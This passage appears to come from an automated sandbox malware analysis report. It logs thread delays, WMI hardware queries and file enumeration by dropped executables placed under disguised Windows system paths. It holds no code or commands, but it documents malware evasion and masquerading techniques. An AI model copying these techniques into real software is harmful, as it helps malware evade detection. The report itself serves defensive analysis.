Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -593375s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -593046s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -592796s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -592218s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -591906s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -591734s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -591484s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -591274s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -590984s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -590830s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -590671s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -590531s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -590386s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -590254s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -590093s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -589910s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -589453s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -589280s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -589162s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -589042s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -588872s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -588757s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -588645s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -588515s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -588343s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -588171s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -588013s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -587880s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -587750s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -587640s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -587531s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -587421s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -587298s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -587137s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -586654s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -586528s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -586386s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -586231s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -586117s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -586000s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -585890s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -585774s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -585656s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -585546s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -585436s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -585324s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -585214s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -585109s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -584902s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -584795s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -584678s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -584542s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -584349s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -583946s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -583822s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -583707s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -583564s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -583437s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -583327s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -583209s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -583079s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -582963s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -582858s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -582750s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -582640s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -582530s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -582406s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -582218s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -582041s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -581828s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -581225s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -580984s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -580871s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -580765s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -580619s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -580484s >= -30000s
Source: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 9012	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 7460	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4372	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\apppatch\CustomSDB\sihost.exe TID: 8356	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe TID: 736	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 428	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 7072	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\apppatch\CustomSDB\sihost.exe TID: 4092	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	File Volume queried: C:\Program Files FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	File Volume queried: C:\Program Files FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CCA69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	2_2_00CCA69B
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CDC220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	2_2_00CDC220
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CEB348 FindFirstFileExA,	2_2_00CEB348
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Code function: 3_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	3_2_00405D74
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Code function: 3_2_0040699E FindFirstFileW,FindClose,	3_2_0040699E
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Code function: 3_2_0040290B FindFirstFileW,	3_2_0040290B
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D547710 FindFirstFileW,	6_2_00007FF63D547710
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D54A0C0 PathIsRootW,GetFileAttributesExW,FindFirstFileW,FindClose,	6_2_00007FF63D54A0C0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D549FA0 PathIsRootW,GetFileAttributesExW,FindFirstFileW,FindClose,	6_2_00007FF63D549FA0
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728C8A0C0 PathIsRootW,GetFileAttributesExW,FindFirstFileW,FindClose,	7_2_00007FF728C8A0C0
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728C87710 FindFirstFileW,	7_2_00007FF728C87710
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728C89FA0 PathIsRootW,GetFileAttributesExW,FindFirstFileW,FindClose,	7_2_00007FF728C89FA0
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728C8A0C0 PathIsRootW,GetFileAttributesExW,FindFirstFileW,FindClose,	10_2_00007FF728C8A0C0
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728C87710 FindFirstFileW,	10_2_00007FF728C87710
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728C89FA0 PathIsRootW,GetFileAttributesExW,FindFirstFileW,FindClose,	10_2_00007FF728C89FA0

Source: C:\Users\user\AppData\Local\Temp\sqls211.exe

Code function: 2_2_00CDE6A3 VirtualQuery,GetSystemInfo,

2_2_00CDE6A3

Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Everything\Everything.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 30000
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 600000
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 599734
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 599359
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 3600000
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 599000
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 598656
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 598312
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 598031
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 597609
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 597343
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 597078
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 596924
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 596760
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 596484
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 596261
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 595937
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 595234
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 595074
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 594893
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 300000
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 594644
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 594453
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 594234
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 594031
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 593812
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 593590
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 593375
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 593046
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 592796
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 592218
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 591906
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 591734
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 591484
